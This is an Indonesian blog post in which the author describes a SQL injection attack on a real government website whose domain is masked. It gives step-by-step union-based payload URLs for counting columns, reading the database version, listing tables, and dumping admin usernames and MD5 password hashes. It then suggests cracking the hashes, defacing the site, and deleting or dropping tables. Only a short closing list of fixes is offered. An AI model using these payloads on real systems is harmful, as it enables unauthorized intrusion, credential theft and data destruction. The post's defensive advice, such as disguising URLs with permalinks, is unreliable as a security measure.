Kali ini penulis mencoba mengecek salah satu web site pemerintah dengan domain or.id, setelah penuils mendapat informasi bahwa di situs tersebut terdapat link ke situs porno tetapi di-hidden, perhatikan potongan gambar ini setelah penulis menekan tombol CTRL+A tampak link yang dihiiden
Kecurigaan berikutnya adalah penulis mencoba melakukan sql injection berbekal beberapa tutorial yang banyak tersebar di-internet, berikut adalah tahap-tahapan yang penulis lakukan
1. Mengacek apakah situs tersebut bisa diinject
http://nama_domain_nya.or.id/informasi.php?detail=pengumuman&id=-1'
hasilnya :
artinya : web site tersebut bisa di inject dengan SQL
2. Mencari banyaknya kolom
http://nama_domain_nya.or.id/informasi.php?detail=pengumuman&id=-1 order by 1--
lakukan berulang-ulang ganti 1– dengan menaikan satu -satu, misal
http://nama_domain_nya.or.id/informasi.php?detail=pengumuman&id=-1 order by 2--
dst..
Sampai menemukan error, dan penulis sampai pada angka 8 untuk menemukan error :
http://nama_domain_nya.or.id/informasi.php?detail=pengumuman&id=-1 order by 8--
hasilnya :
Ketika terjadi eror pada angka 8 maka jumlah kolom di dalam tabel t_pengumuman terdapat 7 kolom (8-1)
3. Mencari angka ‘ajaib’
http://nama_domain_nya.or.id/informasi.php?detail=pengumuman&id=-1+union+all+select+1,2,3,4,5,6,7--
perhatikan angka 1 s.d 7 adalah jumlah kolom yang telah kita dapat pada langkah sebelumnya, dan hasilnya adalah seperti berikut :
Nah pada angka yang ditunjukan diatas kita sisipkan (inject) perintah-perintah SQL
4. Mencari versi MySQL
untuk mencari versi mysql, ganti salah astu angka ‘ajaib’ tersebut dengan version()
http://nama_domain_nya.or.id/informasi.php?detail=pengumuman&id=-1+union+all+select+1,2,3,4,version(),6,7--
Hasilnya : mysql versi 5.531-0 server ubuntu 12.04 , nah beruntung jika kita menemukan versi 5 karena bisa berlanjut ketahap berikut nya, jika tidak maka anda harus menebak-nebak nama-nama tabel di dalam database !
5. Mencari nama tabel
untuk mencari nama tabel didalam database, ganti salah satu angka ‘ajaib’ dengan group_concat(table_name), dan diakhir syntax setelah angka 7 tambahkan +from+information_schema.tables+where+table_schema=database()–
http://nama_domain_nya.or.id/informasi.php?detail=pengumuman&id=-1+union+all+select+1,2,3,4,group_concat(table_name),6,7+from+information_schema.tables+where+table_schema=database()--
Hasilnya : tada…… seluruh tabel tampil, sekarang yang akan kita jadikan target adalah tabel t_admin isinya pasti daftar user dan password 🙂
6. Menampilkan nama-nama kolom dalam tabel (t_admin)
Untuk menampilkan nama kolom dalam t_admin ,maka tugas anda harus merupah nama tabel ke format HEX, maka t_admin jika dirubah ke hex akan manjadi : 745f61646d696e (caranya googling yah 🙂 ) kemudian sisipkan ke url dengan menambahkan 0x didepannya sehingga menjadi 0x745f61646d696e, sehingga perintah untuk mencari nama kolom adalah :
http://nama_domain_nya.or.id/informasi.php?detail=pengumuman&id=-1+union+all+select+1,2,3,4,group_concat(column_name),6,7+from+information_schema.columns+where+table_name=0x745f61646d696e--
Hasilnya :
7. menampilkan isi tabel t_admin
berbekal nama tabel dan nama kolom di tabel t_admin saatnya kita menengok isi tabel, gunakan perintah berikut :
http://nama_domain_nya.or.id/informasi.php?detail=pengumuman&id=-1+union+all+select+1,2,3,4,group_concat(username,0x3a,password),6,7+from+t_admin
syntax :
username,0x3a,password artinya menampilkan username dan password dipisah dengan tanda titik dua (titik dua dalam Hexadesimal adalah 0x3a), maka hasilnya
Wewwwwww : ketemu username dan passwordnya namun password nya di encrypt tugas anda adalah men-decrypt nya dengan bantuan tools asal anda tahu metode encryptnya apa, kalau dilihat dari jumlah digit nya metode yang dipakai adalah md5 jadi silahkan decrypt :),
8. Berikutnya apa ????
- Anda bisa login namun silahkan cari halaman login adminnya
- Anda bisa men-deface dengan menyisipkan gambar full halaman di t_informasi atau t_headline dengan bantuan css
- atau anda bisa mengganti informasi dengan perintah UPDATE
- atau anda bisa menghapus seluruh isi tabel dengan perintah DELETE
- yang lebih keji adalah anda bisa menghapus seluruh tabel dengan perintah DROP
9. Pesan kepada sang developer : PERBAIKI SECEPATNYA DENGAN :
- Memfilter perintah SQL
- Mengecek panjang URL
- atau gunakan Permalink untuk menyamarkan URL
NOTE : Mohon maaf kepada pemilik situs bukan maksud mempublikasikan hole security web site nya namun sebagai pembelajaran saja untuk mengamankan web …
Post a Comment